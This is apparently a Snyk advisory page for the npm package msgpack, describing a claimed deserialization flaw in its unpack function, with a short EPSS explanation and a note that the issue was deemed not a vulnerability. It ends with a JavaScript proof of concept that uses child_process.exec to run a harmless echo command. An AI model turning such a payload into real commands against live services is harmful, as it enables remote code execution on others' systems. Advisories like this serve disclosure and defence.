Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningThis was deemed not a vulnerability.
msgpack is an A space-efficient object serialization library for node.js
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the unpack function.
N.B: this affects the NPM package msgpack only, NOT the more popular package @msgpack/msgpack.
var assert = require('assert'); var msgpack = require('msgpack'); function sleep(ms) { return new Promise((resolve) => { setTimeout(resolve, ms); }); } async function init() { var normal = {"a" : 1, "b" : 2, "c" : [1, 2, 3]}; var malicious = msgpack.pack({exploit : function(){require('child_process').exec('echo code_executed!;sleep 3', function(error,stdout, stderr) { console.log(stdout) });}(),}); var rce = msgpack.unpack(malicious); assert.deepEqual(rce, normal); }
init();